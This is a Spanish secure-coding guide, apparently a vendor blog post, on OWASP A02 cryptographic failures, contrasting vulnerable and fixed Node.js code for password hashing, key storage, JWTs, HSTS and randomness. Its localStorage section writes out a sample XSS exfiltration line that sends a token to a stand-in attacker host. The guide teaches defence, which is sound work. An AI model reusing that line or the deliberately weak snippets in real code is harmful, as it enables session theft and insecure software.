OWASP A02 Fallos Criptográficos
OWASP A02 Fallos Criptográficos: contraseñas en texto plano, hashing débil y claves hardcodeadas exponen a tus usuarios. Aprende a corregirlos con código real.
Rod
Founder & Developer
Los fallos criptográficos de OWASP — en el puesto #2 del OWASP Top 10 2021 — están detrás de algunas de las brechas de datos más grandes de la historia. Adobe, Equifax, T-Mobile. Todas ellas. El hilo común no son ataques sofisticados. Son desarrolladores usando la herramienta incorrecta: MD5 en lugar de bcrypt, HTTP en lugar de HTTPS, una cadena hardcodeada en lugar de una variable de entorno.
Esta guía cubre cada patrón de fallo criptográfico con el código exacto que lo causa, el código que lo corrige, y por qué el fix realmente funciona.
Qué son los Fallos Criptográficos (y por qué subieron al #2)
En el OWASP Top 10 de 2017, esta categoría se llamaba Exposición de Datos Sensibles. El nombre describía el síntoma: datos de usuarios que terminan siendo visibles cuando no deberían. La actualización de 2021 lo renombró a Fallos Criptográficos para describir la causa: la razón por la que los datos se exponen es que la criptografía que los protege estaba mal, era débil, o simplemente no existía.
Subió del #3 en 2017 al #2 en 2021 porque los datos empeoraron, no mejoraron. Según el análisis de OWASP, fue la causa raíz más frecuente en las brechas significativas revisadas para la actualización de 2021. La categoría mapea a CWE-312 (Almacenamiento en Texto Claro de Información Sensible) y CWE-327 (Uso de Algoritmo Criptográfico Roto o Riesgoso), entre otros.
Los fallos se dividen en dos grupos:
- Datos en reposo: Contraseñas almacenadas en texto plano o con hashing débil. Claves de cifrado hardcodeadas en el código fuente. Backups de base de datos sin cifrar.
- Datos en tránsito: Datos sensibles enviados por HTTP. Cabeceras HSTS faltantes que permiten ataques de downgrade. Tokens guardados en localStorage donde un XSS los puede robar.
Ambos importan. Vamos uno por uno con código real.
Patrones de Fallos Criptográficos — Con Código Vulnerable y Seguro
Hashing Débil de Contraseñas (MD5 y SHA-1)
Este es el fallo criptográfico más común y el que causa más daño cuando una base de datos es comprometida.
// MAL: MD5 es un algoritmo de checksum, no una función de hashing para contraseñas.
// Corre en microsegundos. Un atacante con GPU puede probar miles de millones por segundo.
const hash = crypto.createHash('md5').update(password).digest('hex');MD5 fue diseñado para verificar integridad de datos — verificación rápida de que un archivo no se corrompió en tránsito. Esa velocidad es exactamente lo que lo hace incorrecto para contraseñas. Con hardware moderno, un atacante puede probar cientos de millones de hashes MD5 por segundo. Agrega tablas rainbow precomputadas, y una contraseña de 10 caracteres se puede crackear en minutos.
SHA-1 y hasta SHA-256 simple tienen el mismo problema: están diseñados para ser rápidos. Los algoritmos de hashing para contraseñas están diseñados para ser lentos.
// BIEN: bcrypt es lento por diseño. El factor de costo 12 significa ~300ms por hash.
// Eso está bien para login. No está bien para un ataque de fuerza bruta offline.
import bcrypt from 'bcrypt';
// Hashear (al registrar)
const hash = await bcrypt.hash(password, 12); // 12 = factor de costo
// Verificar (al hacer login)
const isValid = await bcrypt.compare(inputPassword, storedHash);Si estás empezando un proyecto nuevo en 2026, prefiere argon2id — ganó el Password Hashing Competition y es la recomendación actual del NIST SP 800-63B.
// BIEN: argon2id es el estándar actual para hashing de contraseñas
import argon2 from 'argon2';
const hash = await argon2.hash(password, { type: argon2.argon2id });
const isValid = await argon2.verify(hash, inputPassword);Si estás migrando desde hashes MD5 o SHA-1: el enfoque seguro es re-hashear en el próximo login. Cuando un usuario inicia sesión, verifica el hash viejo, luego reemplázalo inmediatamente con bcrypt/argon2. No necesitas invalidar todas las sesiones ni forzar un reseteo de contraseña.
La entrada del enciclopedia sobre contraseñas en texto plano cubre el espectro completo desde texto plano hasta bcrypt y cómo detectarlo en un codebase.
Claves de Cifrado Hardcodeadas
El cifrado es tan fuerte como el secreto de tu clave. Si la clave está en tu código fuente, está en tu historial de Git, tus pull requests, tus forks, y potencialmente en tu repositorio público de GitHub.
// MAL: La clave está en el código fuente. Cualquiera con acceso al repo la tiene.
// Aunque la borres después, está en el historial de Git para siempre.
const key = "mi-clave-secreta-123";
const iv = "1234567890123456";
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);Esto es CWE-321 (Uso de Clave Criptográfica Hardcodeada). No es teórico — es uno de los hallazgos más comunes en repos reales. Lo vemos constantemente en los escaneos de Data Hogo, frecuentemente en código que se escribió rápido y nunca se revisó.
// BIEN: La clave viene de variables de entorno, nunca del código fuente.
// En producción, esto vive en tu gestor de secretos (AWS Secrets Manager,
// Doppler, Vault) — no solo en un .env file commiteado al repo.
const key = process.env.ENCRYPTION_KEY;
const iv = process.env.ENCRYPTION_IV;
if (!key || !iv) {
throw new Error('La clave de cifrado e IV deben estar en variables de entorno');
}
const cipher = crypto.createCipheriv(
'aes-256-cbc',
Buffer.from(key, 'hex'),
Buffer.from(iv, 'hex')
);El guard de inicio (if (!key || !iv)) no es opcional. Si la variable de entorno falta en producción y no lo verificas, podrías silenciosamente caer a undefined, que Node's crypto module convierte a string — o sea que tu "cifrado" usa la clave "undefined". Ese es un fallo real que ocurre en producción.
La entrada del enciclopedia sobre API keys hardcodeadas y la entrada sobre secretos en .env files commiteados cubren los patrones de detección. También revisa cómo corregir una API key expuesta ya en GitHub si ya lo pusheaste.
Si tu clave de cifrado rota (debería), necesitas una estrategia de migración para el texto cifrado viejo. Descifrar con la clave vieja y re-cifrar con la nueva es lo correcto. Rotar la clave sin migrar los datos viejos significa que ya no puedes descifrar nada almacenado antes de la rotación.
Tokens en localStorage en lugar de Cookies httpOnly
Este es menos obvio pero extremadamente común en aplicaciones JavaScript — especialmente las construidas con herramientas de IA que optimizan para "funciona" en lugar de "es seguro."
// MAL: localStorage es accesible por cualquier JavaScript en la página.
// Si hay una vulnerabilidad XSS en cualquier parte del sitio,
// un atacante puede robar este token con: localStorage.getItem('token')
localStorage.setItem('token', jwtToken);
// También mal: sessionStorage tiene el mismo problema
sessionStorage.setItem('authToken', jwtToken);La cadena de ataque: tu app tiene una vulnerabilidad XSS en algún lado (script de publicidad inyectado, librería de terceros con un bug, input de usuario sin escapar). El script malicioso ejecuta fetch('https://atacante.com?t=' + localStorage.getItem('token')). Sesión secuestrada. Esto es el problema de cookies sin el flag Secure combinado con el mecanismo de almacenamiento incorrecto.
// BIEN: Las cookies httpOnly no pueden ser accedidas por JavaScript en absoluto.
// El navegador las envía automáticamente con las requests, pero ningún script puede leerlas.
// Esta es una operación del lado del servidor (por ejemplo, en un API route de Next.js):
import { cookies } from 'next/headers';
export async function POST(request: Request) {
// ... autenticar usuario, obtener token ...
const cookieStore = await cookies();
cookieStore.set('session', token, {
httpOnly: true, // sin acceso desde JavaScript
secure: true, // solo HTTPS
sameSite: 'lax', // protección contra CSRF
maxAge: 60 * 60 * 24 * 7, // 1 semana
path: '/',
});
return Response.json({ success: true });
}El flag Secure significa que el navegador solo enviará esta cookie por HTTPS. Sin él, la cookie va también por HTTP — lo que significa que puede ser capturada en tránsito en cualquier red no cifrada.
JWT Sin Expiración y el Ataque "Algorithm None"
Los JWTs tienen dos modos de fallo criptográfico comunes que son suficientemente distintos para cubrir por separado.
Sin expiración (claim exp faltante):
// MAL: El token nunca expira. Si es robado, es válido para siempre.
const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET);// BIEN: Tokens de corta vida + rotación de refresh token
const accessToken = jwt.sign(
{ userId: user.id },
process.env.JWT_SECRET!,
{ expiresIn: '15m' } // access token de corta vida
);
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.JWT_REFRESH_SECRET!,
{ expiresIn: '7d' }
);El ataque "algorithm none": Algunas librerías JWT aceptan alg: "none" en el header del token, lo que significa "no se requiere firma." Un atacante puede modificar el payload y poner el algoritmo en none, y un servidor vulnerable aceptará el token modificado como válido.
// MAL: No especificar explícitamente el algoritmo esperado
const decoded = jwt.verify(token, process.env.JWT_SECRET);// BIEN: Siempre especificar qué algoritmos aceptas
const decoded = jwt.verify(token, process.env.JWT_SECRET!, {
algorithms: ['HS256'], // rechazar cualquier otra cosa, incluyendo 'none'
});La entrada del enciclopedia sobre JWT algorithm none tiene el análisis técnico completo de este ataque.
HTTPS Faltante y HSTS
Enviar datos por HTTP significa que viajan en texto plano por cada salto de red entre tu servidor y el usuario. Wi-Fi del café, proxies corporativos, ISPs — cualquiera en el camino puede leerlo.
HTTPS solo no es suficiente. Sin HTTP Strict Transport Security (HSTS), la primera request de un usuario a tu sitio puede ir por HTTP antes de ser redirigida a HTTPS — y esa primera request puede ser interceptada (ataque de SSL stripping).
// BIEN: La cabecera HSTS le dice a los navegadores que siempre usen HTTPS para tu dominio.
// En Next.js, agrega esto a next.config.ts:
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Strict-Transport-Security',
// max-age=31536000 = 1 año, includeSubDomains cubre todos los subdominios
value: 'max-age=31536000; includeSubDomains; preload',
},
],
},
];
},
};La directiva preload envía tu dominio a las listas de preload HSTS integradas en los navegadores — o sea que el navegador sabe usar HTTPS incluso en la primera visita, antes de haber recibido una cabecera HSTS de tu servidor. Puedes verificar tus cabeceras actuales gratis con el verificador de cabeceras de seguridad.
Generadores de Números Aleatorios Débiles para Operaciones de Seguridad
Math.random() no es criptográficamente seguro. Es predecible. Usarlo para tokens, IDs de sesión, links de reseteo de contraseña, o cualquier cosa sensible desde el punto de vista de seguridad es CWE-338 (Uso de PRNG Criptográficamente Débil).
// MAL: Math.random() se inicializa de forma predecible. Un atacante que conozca
// el estado de tu servidor puede predecir los próximos valores "aleatorios".
const resetToken = Math.random().toString(36).slice(2);// BIEN: crypto.randomBytes() usa el PRNG criptográficamente seguro del sistema operativo
import crypto from 'crypto';
// Para tokens (base64 URL-safe)
const resetToken = crypto.randomBytes(32).toString('base64url');
// Para códigos numéricos (2FA, etc.)
const otp = crypto.randomInt(100000, 999999).toString();La entrada del enciclopedia sobre PRNG débil explica los ataques de predicción específicos que funcionan contra Math.random() en V8.
Cómo Ocurren las Brechas Reales: Adobe 2013
En octubre de 2013, Adobe reveló una brecha que afectó 153 millones de registros de usuarios. Los detalles, cuando los investigadores analizaron los datos filtrados, fueron instructivos.
Adobe había usado cifrado 3DES para almacenar contraseñas — no hashing, cifrado. Esto significa que todas las contraseñas usaban la misma clave de cifrado. Un atacante que obtuvo la clave (que venía con la base de datos) podía descifrar todas y cada una de las contraseñas en una sola operación. Peor aún, contraseñas idénticas producían texto cifrado idéntico, así que los investigadores podían identificar contraseñas comunes solo por análisis de frecuencia.
El reporte Veracode State of Software Security 2025 encontró que el 79% de las aplicaciones tienen al menos una vulnerabilidad de seguridad cuando se escanean por primera vez. Los fallos criptográficos representan una parte significativa de ellas, y tienden a ser los que tienen mayor impacto real cuando ocurre una brecha.
La lección de Adobe no es "usa cifrado más fuerte." Es "no cifres contraseñas nunca — hashéalas." Un hash no puede revertirse aunque la base de datos esté completamente comprometida.
Lista de Verificación para Prevenir Fallos Criptográficos
Así se ve "correcto" en cada área:
| Área | Incorrecto | Correcto |
|---|---|---|
| Almacenamiento de contraseñas | MD5, SHA-1, SHA-256, bcrypt rounds < 10, texto plano | bcrypt (costo 12+) o argon2id |
| Claves de cifrado | Strings hardcodeadas, claves en .env commiteado al repo | Variables de entorno, gestor de secretos, rotación de claves |
| Almacenamiento de tokens | localStorage, sessionStorage | Cookies httpOnly + Secure |
| Transporte | HTTP, HTTPS sin HSTS | HTTPS + HSTS con preload |
| JWT | Sin expiración, algoritmo no validado | Expiración corta, lista explícita de algoritmos |
| Valores aleatorios | Math.random() | crypto.randomBytes() / crypto.randomInt() |
Pasos Prácticos
Para proyectos nuevos:
- Configura HTTPS desde el día uno. Toda plataforma de hosting (Vercel, Railway, Render, Fly.io) lo maneja automáticamente.
- Elige bcrypt o argon2id para contraseñas antes de escribir un solo handler de registro.
- Usa un gestor de secretos desde el inicio. Doppler tiene un tier gratuito generoso. AWS Secrets Manager es a lo que terminarás llegando a escala.
Para proyectos existentes:
- Haz un scan de tu repo para encontrar secretos hardcodeados y llamadas a crypto débil. El scanner de Data Hogo detecta
crypto.createHash('md5'),Math.random(), patrones de tokens en localStorage, y strings de claves hardcodeadas. - Verifica tu URL desplegada para cabeceras HSTS faltantes y otras cabeceras de seguridad — la guía de cabeceras de seguridad en Next.js cubre exactamente qué agregar.
- Audita tus dependencias para vulnerabilidades criptográficas conocidas. Una librería que usa un algoritmo roto en una dependencia transitiva sigue siendo tu problema.
Para equipos:
- Agrega reglas de linting para los casos obvios. ESLint con
no-restricted-propertiespuede detectarMath.random()ycrypto.createHash('md5'). - Haz la gestión de secretos parte de tu checklist de onboarding. Los desarrolladores nuevos deben saber qué va en
.env.exampley qué va en el gestor de secretos antes de hacer su primer commit.
Qué Detecta Data Hogo
Cuando escaneas un repositorio con Data Hogo, las verificaciones de fallos criptográficos cubren:
- Secretos y claves de cifrado hardcodeadas (detecta más de 200 patrones en más de 30 tipos de secretos)
- Llamadas de hashing débil:
md5,sha1,sha256cuando se usan en contexto de contraseñas o tokens Math.random()en rutas de código sensibles para la seguridadlocalStorage.setItemcon palabras clave de token, session o auth- Flags
httpOnlyySecurefaltantes en configuración de cookies - Firma JWT sin expiración o sin validación de algoritmo
- URLs HTTP en configuración de producción
- HSTS faltante en URLs desplegadas (cuando proporcionas una URL para escanear)
Cada hallazgo enlaza a la entrada del enciclopedia de Data Hogo para esa vulnerabilidad, que explica el ataque, la corrección, y el cambio exacto de código necesario.
Si no estás seguro de si tu proyecto tiene alguno de estos problemas — escanea tu repo gratis. El primer scan tarda menos de 60 segundos y verás los hallazgos organizados por severidad.
Preguntas Frecuentes
¿Qué son los Fallos Criptográficos de OWASP A02:2021?
Los Fallos Criptográficos (antes llamados "Exposición de Datos Sensibles" en OWASP 2017) cubren cualquier caso donde los datos no están adecuadamente protegidos en tránsito o en reposo. Esto incluye almacenar contraseñas con hashing débil o sin él, transmitir datos por HTTP en lugar de HTTPS, hardcodear claves de cifrado en el código fuente, y usar algoritmos débiles como MD5 o SHA-1 para fines de seguridad. Ocupó el #2 en el OWASP Top 10 2021 porque está detrás de las brechas de datos más grandes de la historia reciente.
¿Es MD5 seguro para hacer hash de contraseñas?
No. MD5 es un algoritmo rápido diseñado para verificar integridad de datos, no para almacenar contraseñas. Un atacante con una GPU moderna puede romper un hash MD5 en segundos usando tablas rainbow precomputadas o fuerza bruta. Para contraseñas usa bcrypt, scrypt o argon2id — son deliberadamente lentos e incluyen un salt integrado, lo que hace los ataques de fuerza bruta imprácticamente lentos.
¿Cuál es la diferencia entre cifrado y hashing?
El hashing es una operación unidireccional — no puedes revertir un hash para obtener el dato original. El cifrado es bidireccional — puedes descifrar datos cifrados si tienes la clave. Las contraseñas siempre deben hashearse (no cifrarse), porque incluso si tu base de datos es comprometida, un hash correcto no se puede revertir. Si cifras contraseñas, cualquier persona con la clave (incluyendo un atacante que la robe) puede descifrar todas las contraseñas a la vez.
¿Dónde debo guardar los tokens JWT — en localStorage o en cookies?
En cookies httpOnly con el flag Secure, no en localStorage. Los tokens en localStorage son accesibles por cualquier JavaScript en la página — incluyendo scripts inyectados por un ataque XSS. Una cookie httpOnly no puede ser leída por JavaScript en absoluto, lo que elimina ese vector de ataque. Agrega SameSite=Strict o SameSite=Lax para también protegerte contra CSRF.
¿Cómo detecta Data Hogo los fallos criptográficos?
Data Hogo escanea tu repositorio buscando claves de cifrado y secretos hardcodeados, llamadas a funciones de hashing débil (MD5, SHA-1 usadas en contexto de contraseñas o datos sensibles), tokens almacenados en localStorage, flags Secure e httpOnly faltantes en la configuración de cookies, y cabeceras HSTS faltantes en tu URL desplegada. Cada hallazgo incluye el enlace a la corrección y la línea exacta de código donde se detectó el problema.
Los fallos criptográficos son una de esas categorías donde corregir el problema es genuinamente directo — una vez que sabes qué buscar. La parte difícil es encontrarlos en un codebase que no escribiste desde cero, o uno que lleva años creciendo.
Posts Relacionados
OWASP A03 Ataques de Inyección
OWASP A03:2021 Inyección cubre SQL, NoSQL, XSS, inyección de comandos y más. Código vulnerable vs. seguro en Node.js, un breach real, y cinco estrategias de prevención.
OWASP A05 Configuración Insegura
El 90% de las aplicaciones tiene alguna configuración insegura. Aprende qué cubre OWASP A05:2021, ve el código vulnerable vs. seguro en Next.js, y corrígelo ya.
OWASP A01 Control de Acceso Roto
El control de acceso roto es el riesgo #1 del OWASP Top 10. Esta guía explica IDOR, JWT tampering y rutas sin auth — con ejemplos reales en Next.js y cómo corregirlos.